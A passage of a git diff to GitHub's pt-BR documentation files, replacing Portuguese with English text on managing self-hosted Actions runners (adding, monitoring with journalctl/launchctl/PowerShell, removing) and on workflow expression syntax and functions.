+{% data reusables.repositories.sidebar-settings %} +{% data reusables.github-actions.settings-sidebar-actions-runners %} +1. Under {% ifversion fpt or ghes > 3.1 or ghae or ghec %}"Runners"{% else %}"Self-hosted runners"{% endif %}, click **Add runner**. +{% data reusables.github-actions.self-hosted-runner-configure %} +{% endif %} +{% data reusables.github-actions.self-hosted-runner-check-installation-success %} + +## Adding a self-hosted runner to an organization + +You can add self-hosted runners at the organization level, where they can be used to process jobs for multiple repositories in an organization. To add a self-hosted runner to an organization, you must be an organization owner. For information about how to add a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." + +{% ifversion fpt or ghec %} +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.github-actions.settings-sidebar-actions %} +{% data reusables.github-actions.settings-sidebar-actions-runners-updated %} +1. Click **New runner**. +{% data reusables.github-actions.self-hosted-runner-configure %} +{% endif %} +{% ifversion ghae or ghes %} +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.github-actions.settings-sidebar-actions-runners %} +1. Under {% ifversion fpt or ghes > 3.1 or ghae or ghec %}"Runners"{% else %}"Self-hosted runners"{% endif %}, click **Add runner**. +{% data reusables.github-actions.self-hosted-runner-configure %} +{% endif %} + +{% data reusables.github-actions.self-hosted-runner-check-installation-success %} + +{% data reusables.github-actions.self-hosted-runner-public-repo-access %} + +## Adding a self-hosted runner to an enterprise + +You can add self-hosted runners to an enterprise, where they can be assigned to multiple organizations. The organization admins are then able to control which repositories can use it. + +New runners are assigned to the default group. You can modify the runner's group after you've registered the runner. For more information, see "[Managing access to self-hosted runners](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)." + +{% ifversion fpt or ghec %} +To add a self-hosted runner to an enterprise account, you must be an enterprise owner. For information about how to add a self-hosted runner with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions). + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +{% data reusables.enterprise-accounts.actions-runners-tab %} +1. Click **New runner**. +{% data reusables.github-actions.self-hosted-runner-configure %} +{% endif %} +{% ifversion ghae or ghes %} +To add a self-hosted runner at the enterprise level of {% data variables.product.product_location %}, you must be a site administrator. +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +{% data reusables.enterprise-accounts.actions-runners-tab %} +1. Click **Add new**, then click **New runner**. +{% data reusables.github-actions.self-hosted-runner-configure %} +{% endif %} +{% data reusables.github-actions.self-hosted-runner-check-installation-success %} + +{% data reusables.github-actions.self-hosted-runner-public-repo-access %} + +### Making enterprise runners available to repositories + +By default, runners in an enterprise's "Default" self-hosted runner group are available to all organizations in the enterprise, but are not available to all repositories in each organization. + +To make an enterprise-level self-hosted runner group available to an organization repository, you might need to change the organization's inherited settings for the runner group to make the runner available to repositories in the organization. + +For more information on changing runner group access settings, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." diff --git a/translations/pt-BR/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md b/translations/pt-BR/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md new file mode 100644 index 0000000000..ef4fa168c6 --- /dev/null +++ b/translations/pt-BR/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md @@ -0,0 +1,200 @@ +--- +title: Monitoring and troubleshooting self-hosted runners +intro: You can monitor your self-hosted runners to view their activity and diagnose common issues. +redirect_from: + - /actions/hosting-your-own-runners/checking-the-status-of-self-hosted-runners + - /github/automating-your-workflow-with-github-actions/checking-the-status-of-self-hosted-runners + - /actions/automating-your-workflow-with-github-actions/checking-the-status-of-self-hosted-runners +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +defaultPlatform: linux +shortTitle: Monitor & troubleshoot +--- + +{% data reusables.actions.ae-self-hosted-runners-notice %} +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} +{% data reusables.actions.ae-beta %} + +## Checking the status of a self-hosted runner + +{% data reusables.github-actions.self-hosted-runner-management-permissions-required %} + +{% data reusables.github-actions.self-hosted-runner-navigate-repo-and-org %} +{% data reusables.github-actions.settings-sidebar-actions-runners %} +1. Under {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}"Runners"{% else %}"Self-hosted runners"{% endif %}, you can view a list of registered runners, including the runner's name, labels, and status. + + The status can be one of the following: + + * **Idle**: The runner is connected to {% data variables.product.product_name %} and is ready to execute jobs. + * **Active**: The runner is currently executing a job. + * **Offline**: The runner is not connected to {% data variables.product.product_name %}. This could be because the machine is offline, the self-hosted runner application is not running on the machine, or the self-hosted runner application cannot communicate with {% data variables.product.product_name %}. + + +## Reviewing the self-hosted runner application log files + +You can monitor the status of the self-hosted runner application and its activities. Log files are kept in the `_diag` directory, and a new one is generated each time the application is started. The filename begins with *Runner_*, and is followed by a UTC timestamp of when the application was started. + +For detailed logs on workflow job executions, see the next section describing the *Worker_* files. + +## Reviewing a job's log file + +The self-hosted runner application creates a detailed log file for each job that it processes. These files are stored in the `_diag` directory, and the filename begins with *Worker_*. + +{% linux %} + +## Using journalctl to check the self-hosted runner application service + +For Linux-based self-hosted runners running the application using a service, you can use `journalctl` to monitor their real-time activity. The default systemd-based service uses the following naming convention: `actions.runner.-..service`. This name is truncated if it exceeds 80 characters, so the preferred way of finding the service's name is by checking the _.service_ file. For example: + +```shell +$ cat ~/actions-runner/.service +actions.runner.octo-org-octo-repo.runner01.service +``` + +You can use `journalctl` to monitor the real-time activity of the self-hosted runner: + +```shell +$ sudo journalctl -u actions.runner.octo-org-octo-repo.runner01.service -f +``` + +In this example output, you can see `runner01` start, receive a job named `testAction`, and then display the resulting status: + +```shell +Feb 11 14:57:07 runner01 runsvc.sh[962]: Starting Runner listener with startup type: service +Feb 11 14:57:07 runner01 runsvc.sh[962]: Started listener process +Feb 11 14:57:07 runner01 runsvc.sh[962]: Started running service +Feb 11 14:57:16 runner01 runsvc.sh[962]: √ Connected to GitHub +Feb 11 14:57:17 runner01 runsvc.sh[962]: 2020-02-11 14:57:17Z: Listening for Jobs +Feb 11 16:06:54 runner01 runsvc.sh[962]: 2020-02-11 16:06:54Z: Running job: testAction +Feb 11 16:07:10 runner01 runsvc.sh[962]: 2020-02-11 16:07:10Z: Job testAction completed with result: Succeeded +``` + +To view the systemd configuration, you can locate the service file here: `/etc/systemd/system/actions.runner.-..service`. +If you want to customize the self-hosted runner application service, do not directly modify this file. Follow the instructions described in "[Configuring the self-hosted runner application as a service](/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service#customizing-the-self-hosted-runner-service)." + +{% endlinux %} + +{% mac %} + +## Using launchd to check the self-hosted runner application service + +For macOS-based self-hosted runners running the application as a service, you can use `launchctl` to monitor their real-time activity. The default launchd-based service uses the following naming convention: `actions.runner.-.`. This name is truncated if it exceeds 80 characters, so the preferred way of finding the service's name is by checking the _.service_ file in the runner directory: + +```shell +% cat ~/actions-runner/.service +/Users/exampleUsername/Library/LaunchAgents/actions.runner.octo-org-octo-repo.runner01.plist +``` + +The `svc.sh` script uses `launchctl` to check whether the application is running. For example: + +```shell +$ ./svc.sh status +status actions.runner.example.runner01: +/Users/exampleUsername/Library/LaunchAgents/actions.runner.example.runner01.plist +Started: +379 0 actions.runner.example.runner01 +``` + +The resulting output includes the process ID and the name of the application’s launchd service. + +To view the launchd configuration, you can locate the service file here: `/Users/exampleUsername/Library/LaunchAgents/actions.runner...service`. +If you want to customize the self-hosted runner application service, do not directly modify this file. Follow the instructions described in "[Configuring the self-hosted runner application as a service](/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service#customizing-the-self-hosted-runner-service-1)." + +{% endmac %} + + +{% windows %} + +## Using PowerShell to check the self-hosted runner application service + +For Windows-based self-hosted runners running the application as a service, you can use PowerShell to monitor their real-time activity. The service uses the naming convention `GitHub Actions Runner (-.)`. You can also find the service's name by checking the _.service_ file in the runner directory: + +```shell +PS C:\actions-runner> Get-Content .service +actions.runner.octo-org-octo-repo.runner01.service +``` + +You can view the status of the runner in the Windows _Services_ application (`services.msc`). You can also use PowerShell to check whether the service is running: + +```shell +PS C:\actions-runner> Get-Service "actions.runner.octo-org-octo-repo.runner01.service" | Select-Object Name, Status +Name Status +---- ------ +actions.runner.octo-org-octo-repo.runner01.service Running +``` + +You can use PowerShell to check the recent activity of the self-hosted runner. In this example output, you can see the application start, receive a job named `testAction`, and then display the resulting status: + +```shell +PS C:\actions-runner> Get-EventLog -LogName Application -Source ActionsRunnerService + + Index Time EntryType Source InstanceID Message + ----- ---- --------- ------ ---------- ------- + 136 Mar 17 13:45 Information ActionsRunnerService 100 2020-03-17 13:45:48Z: Job Greeting completed with result: Succeeded + 135 Mar 17 13:45 Information ActionsRunnerService 100 2020-03-17 13:45:34Z: Running job: testAction + 134 Mar 17 13:41 Information ActionsRunnerService 100 2020-03-17 13:41:54Z: Listening for Jobs + 133 Mar 17 13:41 Information ActionsRunnerService 100 û Connected to GitHub + 132 Mar 17 13:41 Information ActionsRunnerService 0 Service started successfully. + 131 Mar 17 13:41 Information ActionsRunnerService 100 Starting Actions Runner listener + 130 Mar 17 13:41 Information ActionsRunnerService 100 Starting Actions Runner Service + 129 Mar 17 13:41 Information ActionsRunnerService 100 create event log trace source for actions-runner service +``` + +{% endwindows %} + +## Monitoring the automatic update process + +We recommend that you regularly check the automatic update process, as the self-hosted runner will not be able to process jobs if it falls below a certain version threshold. The self-hosted runner application automatically updates itself, but note that this process does not include any updates to the operating system or other software; you will need to separately manage these updates. + +You can view the update activities in the *Runner_* log files. For example: + +```shell +[Feb 12 12:37:07 INFO SelfUpdater] An update is available. +``` + +In addition, you can find more information in the _SelfUpdate_ log files located in the `_diag` directory. + +{% linux %} + +## Troubleshooting containers in self-hosted runners + +### Checking that Docker is installed + +If your jobs require containers, then the self-hosted runner must be Linux-based and needs to have Docker installed. Check that your self-hosted runner has Docker installed and that the service is running. + +You can use `systemctl` to check the service status: + +```shell +$ sudo systemctl is-active docker.service +active +``` + +If Docker is not installed, then dependent actions will fail with the following errors: + +```shell +[2020-02-13 16:56:10Z INFO DockerCommandManager] Which: 'docker' +[2020-02-13 16:56:10Z INFO DockerCommandManager] Not found. +[2020-02-13 16:56:10Z ERR StepsRunner] Caught exception from step: System.IO.FileNotFoundException: File not found: 'docker' +``` + +### Checking the Docker permissions + +If your job fails with the following error: + +```shell +dial unix /var/run/docker.sock: connect: permission denied +``` + +Check that the self-hosted runner's service account has permission to use the Docker service. You can identify this account by checking the configuration of the self-hosted runner in systemd. For example: + +```shell +$ sudo systemctl show -p User actions.runner.octo-org-octo-repo.runner01.service +User=runner-user +``` + +{% endlinux %} diff --git a/translations/pt-BR/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md b/translations/pt-BR/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md new file mode 100644 index 0000000000..b492e034f7 --- /dev/null +++ b/translations/pt-BR/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md @@ -0,0 +1,100 @@ +--- +title: Removing self-hosted runners +intro: 'You can permanently remove a self-hosted runner from a repository, an organization, or an enterprise.' +redirect_from: + - /github/automating-your-workflow-with-github-actions/removing-self-hosted-runners + - /actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +shortTitle: Remove self-hosted runners +--- + +{% data reusables.actions.ae-self-hosted-runners-notice %} +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} +{% data reusables.actions.ae-beta %} + +## Removing a runner from a repository + +{% note %} + +**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %} + +{% data reusables.github-actions.self-hosted-runner-auto-removal %} + +{% endnote %} + +To remove a self-hosted runner from a user repository you must be the repository owner. For an organization repository, you must be an organization owner or have admin access to the repository. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." + +{% data reusables.github-actions.self-hosted-runner-reusing %} +{% ifversion fpt or ghec %} +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.github-actions.settings-sidebar-actions %} +{% data reusables.github-actions.settings-sidebar-actions-runners-updated %} +{% data reusables.github-actions.settings-sidebar-actions-runner-selection %} +{% data reusables.github-actions.self-hosted-runner-removing-a-runner-updated %} +{% endif %} +{% ifversion ghae or ghes %} +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.github-actions.settings-sidebar-actions-runners %} +{% data reusables.github-actions.self-hosted-runner-removing-a-runner %} +{% endif %} +## Removing a runner from an organization + +{% note %} + +**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %} + +{% data reusables.github-actions.self-hosted-runner-auto-removal %} + +{% endnote %} + +To remove a self-hosted runner from an organization, you must be an organization owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." + +{% data reusables.github-actions.self-hosted-runner-reusing %} +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.github-actions.settings-sidebar-actions %} +{% data reusables.github-actions.settings-sidebar-actions-runners-updated %} +{% data reusables.github-actions.settings-sidebar-actions-runner-selection %} +{% data reusables.github-actions.self-hosted-runner-removing-a-runner-updated %} +{% else %} +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.github-actions.settings-sidebar-actions-runners %} +{% data reusables.github-actions.self-hosted-runner-removing-a-runner %} +{% endif %} +## Removing a runner from an enterprise + +{% note %} + +**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %} + +{% data reusables.github-actions.self-hosted-runner-auto-removal %} + +{% endnote %} +{% data reusables.github-actions.self-hosted-runner-reusing %} + +{% ifversion fpt or ghec %} +To remove a self-hosted runner from an enterprise account, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. For information about how to add a self-hosted runner with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions). +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +{% data reusables.enterprise-accounts.actions-runners-tab %} +{% data reusables.github-actions.settings-sidebar-actions-runner-selection %} +{% data reusables.github-actions.self-hosted-runner-removing-a-runner-updated %} +{% elsif ghae or ghes %} +To remove a self-hosted runner at the enterprise level of {% data variables.product.product_location %}, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +{% data reusables.enterprise-accounts.actions-runners-tab %} +{% data reusables.github-actions.self-hosted-runner-removing-a-runner %} +{% endif %} diff --git a/translations/pt-BR/content/actions/learn-github-actions/expressions.md b/translations/pt-BR/content/actions/learn-github-actions/expressions.md index d33bb580b6..b59a6e82ab 100644 --- a/translations/pt-BR/content/actions/learn-github-actions/expressions.md +++ b/translations/pt-BR/content/actions/learn-github-actions/expressions.md @@ -1,7 +1,7 @@ --- -title: Expressões -shortTitle: Expressões -intro: Você pode avaliar expressões em fluxos de trabalho e ações. +title: Expressions +shortTitle: Expressions +intro: You can evaluate expressions in workflows and actions. versions: fpt: '*' ghes: '*' @@ -14,23 +14,23 @@ miniTocMaxHeadingLevel: 3 {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Sobre as expressões +## About expressions -Você pode usar expressões para configurar variáveis por programação em arquivos de fluxo de trabalho e acessar contextos. Uma expressão pode ser qualquer combinação de valores literais, referências a um contexto ou funções. É possível combinar literais, referências de contexto e funções usando operadores. Para obter mais informações sobre os contextos, consulte "[Contextos](/actions/learn-github-actions/contexts)". +You can use expressions to programmatically set variables in workflow files and access contexts. An expression can be any combination of literal values, references to a context, or functions. You can combine literals, context references, and functions using operators. For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)." -Expressões são comumente usadas com a condicional `if` palavra-chave em um arquivo de fluxo de trabalho para determinar se uma etapa deve ser executada. Quando uma condicional `if` for `true`, a etapa será executada. +Expressions are commonly used with the conditional `if` keyword in a workflow file to determine whether a step should run. When an `if` conditional is `true`, the step will run. -É necessário usar uma sintaxe específica para avisar o {% data variables.product.prodname_dotcom %} para avaliar a expressão e não tratá-la como uma string. +You need to use specific syntax to tell {% data variables.product.prodname_dotcom %} to evaluate an expression rather than treat it as a string. {% raw %} `${{ }}` {% endraw %} -{% data reusables.github-actions.expression-syntax-if %} Para obter mais informações sobre as condições `se`, consulte "[Sintaxe de fluxo de trabalho para {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)". +{% data reusables.github-actions.expression-syntax-if %} For more information about `if` conditionals, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)." {% data reusables.github-actions.context-injection-warning %} -#### Exemplo de expressão em uma condicional `if` +#### Example expression in an `if` conditional ```yaml steps: @@ -38,7 +38,7 @@ steps: if: {% raw %}${{ }}{% endraw %} ``` -#### Exemplo de configuração de variável de ambiente +#### Example setting an environment variable {% raw %} ```yaml @@ -47,18 +47,18 @@ env: ``` {% endraw %} -## Literais +## Literals -Como parte da expressão, você pode usar os tipos de dados `boolean`, `null`, `number` ou `string`. +As part of an expression, you can use `boolean`, `null`, `number`, or `string` data types. -| Tipo de dados | Valor do literal | -| ------------- | ------------------------------------------------------------------------------------------- | -| `boolean` | `true` ou `false` | -| `null` | `null` | -| `number` | Qualquer formato de número aceito por JSON. | -| `string` | Você deve usar aspas simples. Aspas simples de literal devem ter aspas simples como escape. | +| Data type | Literal value | +|-----------|---------------| +| `boolean` | `true` or `false` | +| `null` | `null` | +| `number` | Any number format supported by JSON. | +| `string` | You must use single quotes. Escape literal single-quotes with a single quote. | -#### Exemplo +#### Example {% raw %} ```yaml @@ -74,99 +74,99 @@ env: ``` {% endraw %} -## Operadores +## Operators -| Operador | Descrição | -| ------------------------- | ---------------------------- | -| `( )` | Agrupamento lógico | -| `[ ]` | Índice | -| `.` | Desreferência de propriedade | -| `!` | Não | -| `<` | Menor que | -| `<=` | Menor ou igual | -| `>` | Maior que | -| `>=` | Maior ou igual | -| `==` | Igual | -| `!=` | Não igual | -| `&&` | E | -| \|\| | Ou | +| Operator | Description | +| --- | --- | +| `( )` | Logical grouping | +| `[ ]` | Index +| `.` | Property dereference | +| `!` | Not | +| `<` | Less than | +| `<=` | Less than or equal | +| `>` | Greater than | +| `>=` | Greater than or equal | +| `==` | Equal | +| `!=` | Not equal | +| `&&` | And | +| \|\| | Or | -O {% data variables.product.prodname_dotcom %} faz comparações livres de igualdade. +{% data variables.product.prodname_dotcom %} performs loose equality comparisons. -* Se os tipos não correspondem, o {% data variables.product.prodname_dotcom %} força o tipo para um número. O {% data variables.product.prodname_dotcom %} converte tipos de dados em um número usando estes esquemas: +* If the types do not match, {% data variables.product.prodname_dotcom %} coerces the type to a number. {% data variables.product.prodname_dotcom %} casts data types to a number using these conversions: - | Tipo | Resultado | - | -------- | ------------------------------------------------------------------------------------------------------------------------------ | - | Nulo | `0` | - | Booleano | `true` retorna `1`
                    `false` retorna `0` | - | string | Analisado com base em qualquer formato de número JSON; do contrário, `NaN`.
                    Observação: string vazia retorna `0`. | - | Array | `NaN` | - | Object | `NaN` | -* Uma comparação de um `NaN` com outro `NaN` não resulta em `true`. Para obter mais informações, consulte os "[docs NaN Mozilla](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)." -* O {% data variables.product.prodname_dotcom %} ignora as maiúsculas e minúsculas ao comparar strings. -* Objetos e arrays só são considerados iguais quando forem a mesma instância. + | Type | Result | + | --- | --- | + | Null | `0` | + | Boolean | `true` returns `1`
                    `false` returns `0` | + | String | Parsed from any legal JSON number format, otherwise `NaN`.
                    Note: empty string returns `0`. | + | Array | `NaN` | + | Object | `NaN` | +* A comparison of one `NaN` to another `NaN` does not result in `true`. For more information, see the "[NaN Mozilla docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)." +* {% data variables.product.prodname_dotcom %} ignores case when comparing strings. +* Objects and arrays are only considered equal when they are the same instance. -## Funções +## Functions -O {% data variables.product.prodname_dotcom %} oferece um conjunto de funções integradas que podem ser usadas em expressões. Algumas funções convertem valores em uma string para realizar comparações. O {% data variables.product.prodname_dotcom %} converte tipos de dados em uma string usando estes esquemas: +{% data variables.product.prodname_dotcom %} offers a set of built-in functions that you can use in expressions. Some functions cast values to a string to perform comparisons. {% data variables.product.prodname_dotcom %} casts data types to a string using these conversions: -| Tipo | Resultado | -| -------- | ----------------------------------------------- | -| Nulo | `''` | -| Booleano | `'true'` ou `'false'` | -| Número | Formato decimal, exponencial para números altos | -| Array | Arrays não são convertidos em uma string | -| Object | Objetos não são convertidos em uma string | +| Type | Result | +| --- | --- | +| Null | `''` | +| Boolean | `'true'` or `'false'` | +| Number | Decimal format, exponential for large numbers | +| Array | Arrays are not converted to a string | +| Object | Objects are not converted to a string | ### contains `contains( search, item )` -Retorna `verdadeiro` se a `pesquisa` contiver `item`. Se a `pesquisa` for uma array, essa função retornará `verdadeiro` se o item `` for um elemento na array. Se a `pesquisa` for uma string, essa função retornará `verdadeiro` se o `item` for uma substring da `pesquisa`. Essa função não diferencia maiúsculas de minúsculas. Lança valores em uma string. +Returns `true` if `search` contains `item`. If `search` is an array, this function returns `true` if the `item` is an element in the array. If `search` is a string, this function returns `true` if the `item` is a substring of `search`. This function is not case sensitive. Casts values to a string. -#### Exemplo de uso de array +#### Example using an array `contains(github.event.issue.labels.*.name, 'bug')` -#### Exemplo de uso de string +#### Example using a string -`contains('Hello world', 'llo')` retorna `true` +`contains('Hello world', 'llo')` returns `true` ### startsWith `startsWith( searchString, searchValue )` -Retorna `true` quando `searchString` começar com `searchValue`. Essa função não diferencia maiúsculas de minúsculas. Lança valores em uma string. +Returns `true` when `searchString` starts with `searchValue`. This function is not case sensitive. Casts values to a string. -#### Exemplo +#### Example -`startsWith('Hello world', 'He')` retorna `true` +`startsWith('Hello world', 'He')` returns `true` ### endsWith `endsWith( searchString, searchValue )` -Retorna `true` se `searchString` terminar com `searchValue`. Essa função não diferencia maiúsculas de minúsculas. Lança valores em uma string. +Returns `true` if `searchString` ends with `searchValue`. This function is not case sensitive. Casts values to a string. -#### Exemplo +#### Example -`endsWith('Hello world', 'ld')` retorna `true` +`endsWith('Hello world', 'ld')` returns `true` ### format `format( string, replaceValue0, replaceValue1, ..., replaceValueN)` -Substitui valores na `string` pela variável `replaceValueN`. As variáveis na `string` são especificadas usando a sintaxe `{N}`, onde `N` é um inteiro. Você deve especificar pelo menos um `replaceValue` e `string`. Não há máximo para o número de variáveis (`replaceValueN`) que você pode usar. Escape de chaves usando chaves duplas. +Replaces values in the `string`, with the variable `replaceValueN`. Variables in the `string` are specified using the `{N}` syntax, where `N` is an integer. You must specify at least one `replaceValue` and `string`. There is no maximum for the number of variables (`replaceValueN`) you can use. Escape curly braces using double braces. -#### Exemplo +#### Example -Retorna 'Hello Mona the Octocat' +Returns 'Hello Mona the Octocat' `format('Hello {0} {1} {2}', 'Mona', 'the', 'Octocat')` -#### Exemplo de escape de chaves +#### Example escaping braces -Returna '{Hello Mona the Octocat!}' +Returns '{Hello Mona the Octocat!}' {% raw %} ```js @@ -178,9 +178,9 @@ format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat') `join( array, optionalSeparator )` -O valor para `array` pode ser uma array ou uma string. Todos os valores na `array` são concatenados em uma string. Se você fornecer `optionalSeparator`, ele será inserido entre os valores concatenados. Caso contrário, será usado o separador-padrão `,`. Lança valores em uma string. +The value for `array` can be an array or a string. All values in `array` are concatenated into a string. If you provide `optionalSeparator`, it is inserted between the concatenated values. Otherwise, the default separator `,` is used. Casts values to a string. -#### Exemplo +#### Example `join(github.event.issue.labels.*.name, ', ')` may return 'bug, help wanted' @@ -188,21 +188,21 @@ O valor para `array` pode ser uma array ou uma string. Todos os valores na `arra `toJSON(value)` -Retorna uma bela representação JSON de `value`. Você pode usar essa função para depurar as informações fornecidas em contextos. +Returns a pretty-print JSON representation of `value`. You can use this function to debug the information provided in contexts. -#### Exemplo +#### Example -`toJSON(job)` pode retornar `{ "status": "Success" }` +`toJSON(job)` might return `{ "status": "Success" }` ### fromJSON `fromJSON(value)` -Retorna um objeto do JSON ou tipo de dado do JSON para `valor`. Você pode usar esta função para fornecer um objeto do JSON como uma expressão avaliada ou para converter variáveis de ambiente de uma string. +Returns a JSON object or JSON data type for `value`. You can use this function to provide a JSON object as an evaluated expression or to convert environment variables from a string. -#### Exemplo que retorna um objeto do JSON +#### Example returning a JSON object -Este fluxo de trabalho define uma matriz JSON em um trabalho, e o passa para o próximo trabalho usando uma saída do `fromJSON`. +This workflow sets a JSON matrix in one job, and passes it to the next job using an output and `fromJSON`. {% raw %} ```yaml @@ -226,9 +226,9 @@ jobs: ``` {% endraw %} -#### Exemplo que retorna um tipo de dado do JSON +#### Example returning a JSON data type -Este fluxo de trabalho usa `fromJSON` para converter variáveis de ambiente de uma string para um número inteiro ou booleano. +This workflow uses `fromJSON` to convert environment variables from a string to a Boolean or integer. {% raw %} ```yaml @@ -251,84 +251,84 @@ jobs: `hashFiles(path)` -Retorna um único hash para o conjunto de arquivos que correspondem ao padrão do `caminho`. Você pode fornecer um único padrão de `caminho` ou vários padrões de `caminho` separados por vírgulas. O `caminho` é relativo ao diretório `GITHUB_WORKSPACE` e pode incluir apenas arquivos dentro do `GITHUB_WORKSPACE`. Essa função calcula uma hash SHA-256 individual para cada arquivo correspondente e, em seguida, usa esses hashes para calcular um hash SHA-256 final para o conjunto de arquivos. Para obter mais informações sobre o SHA-256, consulte "[SHA-2](https://en.wikipedia.org/wiki/SHA-2)". +Returns a single hash for the set of files that matches the `path` pattern. You can provide a single `path` pattern or multiple `path` patterns separated by commas. The `path` is relative to the `GITHUB_WORKSPACE` directory and can only include files inside of the `GITHUB_WORKSPACE`. This function calculates an individual SHA-256 hash for each matched file, and then uses those hashes to calculate a final SHA-256 hash for the set of files. For more information about SHA-256, see "[SHA-2](https://en.wikipedia.org/wiki/SHA-2)." -Você pode usar a correspondência de padrão de caracteres para corresponder os nomes dos arquivos. No Windows, a correspondência do padrão diferencia maiúsculas e minúsculas. Para obter mais informações sobre caracteres de correspondência de padrões suportados, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)". +You can use pattern matching characters to match file names. Pattern matching is case-insensitive on Windows. For more information about supported pattern matching characters, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)." -#### Exemplo com um padrão único +#### Example with a single pattern -Corresponde qualquer arquivo `package-lock.json` no repositório. +Matches any `package-lock.json` file in the repository. `hashFiles('**/package-lock.json')` -#### Exemplo com vários padrões +#### Example with multiple patterns -Cria um hash para arquivos de `pacote-lock.json` e `Gemfile.lock` no repositório. +Creates a hash for any `package-lock.json` and `Gemfile.lock` files in the repository. `hashFiles('**/package-lock.json', '**/Gemfile.lock')` -## Funções de verificação de status de trabalho +## Job status check functions -Você pode usar as funções de verificação de status a seguir como expressões nas condicionais `if`. Uma verificação de status padrão de `success()` é aplicada, a menos que você inclua uma dessas funções. Para obter mais informações sobre condicionais `if`, consulte "[Sintaxe de fluxo de trabalho para o GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)". +You can use the following status check functions as expressions in `if` conditionals. A default status check of `success()` is applied unless you include one of these functions. For more information about `if` conditionals, see "[Workflow syntax for GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)." ### success -Retorna `verdadeiro` quando não ocorrer falha em nenhuma das etapas anteriores falhar ou quando não for cancelada. +Returns `true` when none of the previous steps have failed or been canceled. -#### Exemplo +#### Example ```yaml -etapas: +steps: ... - - nome: O trabalho foi bem-sucedido - se: {% raw %}${{ success() }}{% endraw %} + - name: The job has succeeded + if: {% raw %}${{ success() }}{% endraw %} ``` ### always -Faz com que a etapa seja sempre executada e retorna `verdadeiro`, mesmo quando cancelada. Um trabalho ou uma etapa não será executado(a) quando uma falha crítica impedir a tarefa de ser executada. Por exemplo, se houver falha ao obter as fontes. +Causes the step to always execute, and returns `true`, even when canceled. A job or step will not run when a critical failure prevents the task from running. For example, if getting sources failed. -#### Exemplo +#### Example ```yaml -se: {% raw %}${{ always() }}{% endraw %} +if: {% raw %}${{ always() }}{% endraw %} ``` ### cancelled -Retornará `true` se o fluxo de trabalho foi cancelado. +Returns `true` if the workflow was canceled. -#### Exemplo +#### Example ```yaml -se: {% raw %}${{ cancelled() }}{% endraw %} +if: {% raw %}${{ cancelled() }}{% endraw %} ``` ### failure -Retorna `verdadeiro` quando ocorre uma falha no trabalho em qualquer etapa anterior. +Returns `true` when any previous step of a job fails. If you have a chain of dependent jobs, `failure()` returns 